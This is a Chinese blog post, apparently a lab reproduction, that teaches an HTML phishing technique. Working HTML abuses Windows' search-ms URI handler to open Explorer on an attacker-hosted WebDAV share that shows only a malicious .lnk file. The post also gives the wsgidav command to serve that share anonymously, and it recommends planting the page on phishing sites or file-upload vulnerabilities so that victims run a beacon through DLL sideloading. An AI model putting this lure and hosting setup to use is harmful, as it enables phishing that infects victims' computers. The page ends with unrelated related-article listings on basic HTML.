首页 > 其他分享 >html钓鱼姿势分享

html钓鱼姿势分享

时间:2024-03-17 21:13:01浏览次数:26  
标签:姿势 Web search 文件 -- 钓鱼 html lnk

0x00 实验环境

靶场:全新的windows笔记本,kali

 

0x01 实验前提

(1)学习国外大佬的文章

攻击链: Email --> invoice.pdf --> 包含一个链接 --> search-ms:query=decoy&crumb=location:\\\\127.0.0.1@5000\\dec&displayname=Hello,is it me you\'re looking for? --> invoice.lnk --> beacon.exe -->beacon.dll

(2)动手实战

文章一分钟,复现半小时

 

0x02 实验步骤

(1)根据钓鱼的思路,首先发一封email邮件,这里省去发钓鱼邮件的过程。直接从包含一个链接开始。 如下是老外的示例网站: https://dav.binary-offensive.com/webdav/searchms.html

 

当我们去访问的时候,页面会要求我们打开资源管理器。先点击取消,右键查看源代码。可以看到这里是通过search-ms:query=test&crumb的方式来打开远程服务器上的文件,并且只会显示test命名的文件。

 

其实这里的search-ms:query=test&crumb和我们直接使用exploerer.exe打开是差不多的。我们现在点击打开。可以看到他会自动打开资源管理器,里面只会显示一个test命名的文件,其他文件是不会显示的:

 

(2)那么如果我们自己去搭建一个这样的html页面,然后我们只显示lnk文件其他文件都不显示的话,当目标点击lnk文件的时候会执行我们的白程序,然后去调用我们的黑dll。但是在这之前我们需要去搭建一个WebDav来托管我们的文件,在kali安装以下工具包:
apt-get install python3-wsgidav
WSGI是什么?

WSGI,全称 Web Server Gateway Interface,或者 Python Web Server Gateway Interface ,是为 Python 语言定义的 Web 服务器和 Web 应用程序或框架之间的一种简单而通用的接口。自从 WSGI 被开发出来以后,许多其它语言中也出现了类似接口。

WebDAV 是什么?

WebDAV(Web Dub)是一种技术和功能,可以使用Web服务器进行文件共享和编辑,目前可用于许多租赁服务器计划,还有用户自己设置VPS等方法。

WebDAV类似于当前流行的Google Drive等在线存储服务,云上的多个用户可以相对安全地进行文件共享和编辑。

 

(3)现在我们还需要去仿照老外的页面去做一个一模一样的页面即可。 如下代码:这里的192.168.31.242是我的kali ip,dec是目录,这里的query参数查询的是以lnk命名文件。
<html>
<head>
<title>search-ms</title>
<script>
window.location.href = 'search-ms:query=lnk&crumb=location:\\\\192.168.31.242@5000\\dec&displayname=Hello, is it me you\'re looking for?';
</script>
</head>
<body>
<center>
PoC triggering Microsoft's <b>search-ms</b> URI handler to open
up Explorer previewing attacker's WebDAV contents.</br>
This is to lure victims into opening malicious files which could
have led to their computers infection.<br/>
</center>
</body>
</html>

(4)开启服务:在当前路径下开启5000端口。设置认证为匿名认证:

wsgidav --port=5000 --host=0.0.0.0 --root=./ --auth=anonymous

  (5)可以看到,当我们去访问test.html时,会提示我们是否打开这个页面,这里因为是本地,我们直接双击打开,所以这里是file://想要打开应用程序,一般的话我们挂在我们的钓鱼网站即可,或者挂载在比如说有漏洞的地方,可以上传html文件的地方都是可以的。

 

 

(6)当我们去点击打开的时候。可以看到页面会显示一个1.lnk文件,因为这个文件我们没做任何处理,所以是没有图标的。 

 

0x03 一些思考

(1)以前说上传文件不能getshell的场景,用处都不大,现在发现只是因为自己了解的知识太少了;

(2)有的电脑运行html并不能成功打开资源管理器,这里猜测是因为禁了js,有策略限制;

(3)多学习外国佬的文章,会涨很多姿势。

标签:姿势,Web,search,文件,--,钓鱼,html,lnk
From: https://www.cnblogs.com/cute-puli/p/18079143

相关文章

  • HTML标签
    目录HTMLHTML标签注释标签标题标签段落标签格式化标签图片标签超链接标签css代码表格标签列表标签表单标签单选框复选框按钮选择文件上传下拉菜单多行编辑框div&spanHTMLHTML的全称为超文本标记语言,是一种标记语言。它包括一系列标签,通过这些标签可以......
  • JavaWeb - HTML基础
    常用标签font文本标签<fontface="黑体"color="#0099FF">黑体效果</font><fontsize="3"color="#990000">3号文字效果</font><!--face=字体样式,color=颜色,size:字体大小-->p段落标签、br换行标签本段落内容...<p>第二段内容<......
  • HTML学习笔记5: table表格标签
    table表格标签tableborder            表格边框的宽度width规定表格的宽度cellspacing规定单元格之间的空隙tr:行td:单元格th:如果是表头单元格,可以替换为th,默认带有加粗和居中展示的效果<tableborder="5px"width="6......
  • HTML学习笔记6: form表单标签
    Form表单标签属性action   规定当提交表单时向何处(URL)发送表单数据如果不指定URL,默认提交到当前页面method   规定用于发送表单数据的方式(默认值是GET)GET  在URL后拼接表单数据:?username=hikaru44&age=2000,URL的长度是有限制的,所以GET没......
  • HTML学习笔记7: form表单项
    表单项input    定义表单项,通过type属性控制输入形式select定义下拉列表textarea定义文本域inputtext文本框姓名:<inputtype="text"name="name"><br><br>password密码框密码:<inputtype="password"name="pass......
  • HTML学习笔记4: 盒子模型
    盒子模型布局标签div&spanDIV一行只显示一个,宽度默认是父元素的宽度, 高度默认由内容撑开,可以设置宽高设置div的CSS样式<style>div{width:200px;height:200px;box-sizing:border-box;/*指定widthheight为盒子的宽高*/......
  • HTML学习笔记1: 常见标签
    HTML常见标签p段落标签<p>段落内容</p>b加粗标签<b>加粗标签</b>strong加粗+强调标签strong和b在样式上没有什么差别,只是便于强调区分<strong>强调+加粗标签</strong>img图片标签src图片路径(绝对磁盘路径,绝对网页路径,相......
  • HTML学习笔记3: CSS选择器
    CSS选择器元素选择器<style>p{color:lightcoral;}</style><!--元素选择器:设置了某个元素(span,p,h1)的样式--><p>元素选择器</p>类选择器<style>.hclass{color:lightgoldenrodyellow;}</style><!--类选择器:给标签指定一个类--><......
  • HTML学习笔记2: CSS样式
    【HTML】CSS样式设置CSS样式的三种方式行内样式(不推荐)内嵌样式(写在style标签中,可以写在页面各种位置,一般写在head标签中)外联样式写在单独的css文件中,需要通过link在网页中引入行内样式<h1style="color:rgb(66,139,92);">行内样式</h1>内嵌样式<style> ......
  • HTML进阶版(表单标签、语义化标签、字符实体)
    雷迪斯andthe乡亲们 欢迎你们来到奇幻的编程世界  上一篇我们学习了(列表标签、表格标签)让我来回顾一下吧!列表标签无序列表最常用,有序列表偶尔用,自定义列表底部导航用表格标签①表格基本标签:table>tr>td②表格标题和表头单元格标签:table> caption......